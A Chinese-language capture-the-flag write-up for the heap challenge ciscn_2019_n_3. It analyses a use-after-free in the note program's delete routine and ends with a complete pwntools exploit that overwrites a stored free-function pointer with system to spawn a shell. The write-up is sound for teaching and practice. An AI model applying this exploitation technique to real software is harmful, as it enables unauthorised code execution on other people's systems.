ciscn_2019_n_3
使用checksec
查看:
开启了栈不可执行和Canary。
放进IDA中查看,看菜单像是一道堆题,运行程序看下:
标准的堆菜单题,IDA中仔细分析下:
主要流程:创建、删除、查看,先来看看创建的函数do_new()
:
records[v2]
:存储 chunk 的地址,大小为0xc
。*v3
:存储rec_int_print
函数地址用于打印存储的值和类型。*(v3 + 4)
:存储 free 函数地址,用于释放 chunk 。*(v3 + 8)
:存储用户输入的值,如果值的类型为整数,则直接存在*(v3 + 8)
中,如果值的类型为字符串,则*(v3 + 8)
存的是字符串的地址。
接下来看下do_del()
:
- 执行了
records[v0] + 4
所指向的函数,即rec_str_free
或rec_int_free
- 均未清空指针,存在UAF。
do_dump()
:
- 执行了
records[v0]
所指向的函数,即rec_str_print
或rec_int_print
既然存在UFA可以试着去利用下:
rec_str_print
和rec_str_free
都是存放在系统创建的指针中的,那么我们先申请两个chunk
- 接着释放掉这两个chunk,两个系统创建的chunk便会进入fastbins中
- 这时候我们去申请大小为
0xc
的chunk,便能将两这两个chunk给申请出来,并且能修改其中一个的值 - 若将
rec_str_free
的值改为system@plt
就可以直接getshell
注意点:调用rec_str_free
的时候,需要一个值,这个值在rec_str_free-4
处(看do_del()代码),即rec_str_print
所在的位置。
所以我们的payload需要写成:b'bash' + p32(system_addr)
- 这时候释放chunk的时候就会调用
system('bash')
完整exp:
from pwn import *
#start
r = process("../buu/ciscn_2019_n_3")
elf = ELF("../buu/ciscn_2019_n_3")
def new(num,tp,length,value):
r.sendlineafter("CNote > ","1")
r.sendlineafter("Index > ",str(num))
r.sendlineafter("Type > ",str(tp))
r.sendlineafter("Length > ",str(length))
r.sendlineafter("Value > ",value)
def delete(num):
r.sendlineafter("CNote > ","2")
r.sendlineafter("Index > ",str(num))
def show(num):
r.sendlineafter("CNote > ","3")
r.sendlineafter("Index > ",str(num))
#params
system_addr = elf.symbols['system']
#attack
new(1,2,0x30,"MMMM")
new(2,2,0x30,"MMMM")
delete(1)
delete(2)
payload = b'bash' + p32(system_addr)
new(3,2,0xc,payload)
delete(1)
r.interactive()